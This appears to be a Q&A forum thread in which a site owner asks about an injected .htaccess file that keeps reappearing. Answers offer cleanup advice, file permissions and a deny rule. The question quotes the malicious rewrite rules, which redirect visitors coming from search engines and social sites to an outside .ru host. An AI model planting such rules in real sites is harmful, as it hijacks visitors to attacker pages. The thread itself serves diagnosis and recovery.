Fenix Dolores
Fenix Dolores

Reputation: 73

.htaccess file keep redirecting to Google

I have strange behaviour of .htaccess file on my server. Each time I remove it it's coming back with wrong code. so each time I type domain in to browser I got Google, each time I search in Google and click link to my website I got Google, code inserted in .htaccess is below: (could you tell me how to fix this, it must be some king of male-ware or virus on server?)

ErrorDocument 500 http://regeditever.ru/tabletfocusedmilliseconds.cgi?8                                                                                             


RewriteEngine On
RewriteCond %{HTTP_REFERER} ^.(duckduckgo|ask|google|dogpile|archive|clusty|mahalo|mywebsearch|blekko|lycos|webcrawler|info|infospace|search|excite|goodsearch|altavista|live|msn|aol|yahoo|youtube|wikipedia|infoseek|bing|facebook|twitter|myspace|linkedin|flickr|deviantart|livejournal|tagged|badoo|mylife|ning|pinterest).(.)
RewriteRule ^(.*)$ http://regeditever.ru/tabletfocusedmilliseconds.cgi?8 [R=301,L]

Upvotes: 0

Views: 476

Answers (2)

Viral
Viral

Reputation: 1337

It can be difficult to find the cause if your server has been compromised depending on the level of sophistication. You can use a service like sucuri, they have a free scanner on their homepage by which you may find root of cause and they will clean your site for you if your willing to pay.


You said your .htaccess files gets compromised

To Protect your .htaccess file from getting hacked add following code in your root .htaccess file

# STRONG HTACCESS PROTECTION
<Files ~ "^.*\.([Hh][Tt][Aa])">
 order allow,deny
 deny from all
 satisfy all
</Files>

Upvotes: 0

Pedro
Pedro

Reputation: 691

My blog was hacked by the same kind of hack. Now it's clean and i wrote about it http://www.pedroventura.com/wordpress/como-eliminar-el-hack-o-malware-de-rr-nu-de-wordpress/ but it's in spanish, you will need to translate it.

But i can summarize it to you, basically you need to find the hacked code. Probability one or more php files that they are overwritting all the time your .htaccess file. Try searching on the beginning of your files if something it's wrong or shouldn't be there.

Clean all your code.

Change 644 permissions on .htaccess

Follow this instructions on google https://support.google.com/webmasters/bin/answer.py?hl=en&answer=163634

All your files should have 644 permissions and folders 755, take care with this

Upvotes: 1

Related Questions